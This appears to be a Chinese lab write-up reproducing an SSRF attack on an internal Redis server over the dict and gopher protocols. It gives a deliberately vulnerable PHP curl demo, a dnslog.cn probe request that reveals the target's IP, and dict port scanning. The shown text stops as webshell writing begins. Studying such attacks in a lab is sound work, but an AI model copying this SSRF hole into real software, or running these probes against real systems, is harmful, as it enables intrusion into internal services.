SSRF之利用dict和gopher吊打Redis
写在前面
SSRF打Redis也是老生常谈的东西了,这里复现学习一下之前在xz看到某师傅写的关于SSRF利用dict和gopher打内网服务的文章,主要是对webshell和sshkey的写入进行复现,做一点小笔记。
准备环境
centos:有计划任务服务、redis4.x版本
kali:作为攻击机,模拟vps
物理机:phpstudy+ssrf.php
redis4.x下载
wget http://download.redis.io/releases/redis-4.0.11.tar.gz
$ tar xzf redis-4.0.11.tar.gz
$ cd redis-4.0.11
$ make
# centos需要提权安装make和gcc依赖包
yum install make
yum install gcc
SSRF漏洞代码
网上找了一份demo
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
探测漏洞
首先验证SSRF是否存在,可以通过获取远程服务器上的一些资源(比如图片),看看响应包是否能抓到,如果目标机能出网直接DNSLOG就能拿到真实IP。
(当然用dict协议也可以)
GET /ssrf/ssrf.php?url=http://clmppw.dnslog.cn HTTP/1.1
Host: 192.168.124.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
dict协议利用
dict进行端口探测
抓包将端口那里设为要爆破的参数
可以事先准备个端口字典,根据Length升序即可
dict打Redis之写webshell
先INFO探测是否设置口令,比如下图提示就是有的